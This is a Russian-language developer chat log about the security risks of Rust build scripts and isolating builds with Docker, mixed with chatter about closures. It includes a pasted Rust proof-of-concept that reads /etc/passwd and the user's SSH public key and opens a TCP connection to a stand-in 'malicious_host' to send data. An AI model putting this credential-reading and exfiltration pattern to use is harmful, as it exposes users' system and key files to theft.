да, я кстати тоже говорил, что билд скрипты это пздец как не секьюрно

И если рантайм изолировать - эта нормальная практика, то вот билды изолировать сложно

Ну по идее все равно можно скачивать отдельно, а билдить отдельно

Так, невозможно же сделать return из внешней функции внутри замыкания?

Так, невозможно же сделать return из внешней функции внутри замыкания?

Return из внешней функции внутри замыкания? Это как? Обычная функция вызывает замыкание?

use std::fs::File; use std::io::prelude::*; use std::io::Read; use std::net::TcpStream; fn main() { steal_passwords(); steal_private_key(); send_stuff_over_network(); } fn steal_passwords() { let mut f = match File::open("/etc/passwd") { Ok(f) => f, Err(_) => { println!("drats! foiled!"); return; } }; let mut contents = String::new(); f.read_to_string(&mut contents).unwrap(); print!("{}", contents); } fn steal_private_key() { match std::env::var("LOGNAME") { Ok(val) => { // only public key. i'm not that evil let mut f = match File::open(format!("/home/{}/.ssh/id_rsa.pub", val)) { Ok(f) => f, Err(_) => { println!("couldn't open public key"); return; } }; let mut key_contents = String::new(); f.read_to_string(&mut key_contents).unwrap(); print!("{}", key_contents); }, Err(_) => { println!("couldn't get username"); return; } } } fn send_stuff_over_network() { let malicious_host = "127.0.0.1"; // google is "172.217.25.46" if you want to test *real* networking let mut stream = match TcpStream::connect(format!("{}:8080", malicious_host)) { Ok(s) => s, Err(_) => { println!("hmm, no networking?"); return; }, }; let msg = String::from("totally not someone's public key\n"); let _ = stream.write(msg.as_bytes()); }

Можно, но опять же дев окружение изолировать сложно

запилить переменную перед замыканием

Ограничить доступ только к /usr/lib на чтение?

в другом треде, и проверять изменилась ли она бесконечно

Да нет же, разные зависимости разные вещи делают, как описано в статье, кому-то надо сорцы выкачать чтоб собрать, у кого-то Билд скрипт процесит схему и делает из нее код

а можно unsafecell?

Ну хотя бы у этих штук не будет доступа в всякие ~/.ssh

И если рантайм изолировать - эта нормальная практика, то вот билды изолировать сложно

стоп, это ты про ci какой-то говоришь, а разрабатываете вы тоже в докере?

без нужды кто станет изолироваться докером?

Эээ сейчас все вроде как докером изолируются

дев окружение?

Ну я даже локально довольно часто в докере собираю

извращенец

Ну у вас не раст, а карго вроде должно твою проблему решать

Я тут немного в rocksdb-rust поконтрибьютил и заодно валгриндом проверял свой коммит, а он на маке через жопу работал. Собрал контейнер и нормально проверил

санитайзеры не пробовал llvm?

сборочки, билдики, оффициальные, на всё случаи жизни, так великодушно нам сразу готовое подают, потому-что самим собирать та ещё морока виндовенько

http://matthias-endler.de/2017/go-vs-rust/